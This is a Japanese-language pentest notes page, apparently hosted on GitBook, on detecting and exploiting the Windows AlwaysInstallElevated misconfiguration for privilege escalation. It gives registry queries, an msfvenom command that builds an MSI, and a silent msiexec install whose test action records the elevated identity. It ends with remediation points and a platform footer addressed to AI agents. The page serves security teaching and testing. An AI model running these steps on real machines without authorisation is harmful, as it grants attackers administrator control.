> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# AlwaysInstallElevatedによるWindows権限昇格

Windowsのローカル権限昇格のためにAlwaysInstallElevated MSIの誤設定を検出し、悪用する。

`AlwaysInstallElevated` これは危険な Windows ポリシーで、現在のユーザーおよびローカル マシンのレジストリ キーの両方が有効な場合、管理者でないユーザーでも MSI パッケージを昇格権限でインストールできるようにします。

## 検出

この脆弱性は、両方の値が返された場合に悪用可能です `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2258ba95e1950623db76d0de21d891568ae5db44%2Fimage%20(2332).png?alt=media" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## ラボでの検証

管理されたラボ環境で、昇格した ID を一時ファイルに書き込むなど、明確に分かる検証アクションを実行する MSI を作成します。範囲とリスナーの設定を確認した後にのみ、そのアクションを許可されたペイロードに置き換えてください。

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed0c855985976ed82675c4547b2a5e4d1e7a7c21%2Fimage%20(2333).png?alt=media" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## インストーラーを実行する

MSI をサイレント インストールします:

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b28d83a925bae2e25fb4c4b5795935553aea299%2Fimage%20(2334).png?alt=media" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## 重要ポイント

* 両方のレジストリ キーが有効である必要があります。
* MSI は昇格した権限で実行されます。
* 片方のキーしか有効でない場合は、ハードニング上の指摘として扱い、実際に権限昇格が可能とは見なさないでください。
* ポリシーを無効化し、異常な MSI インストールを監視することで是正します。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
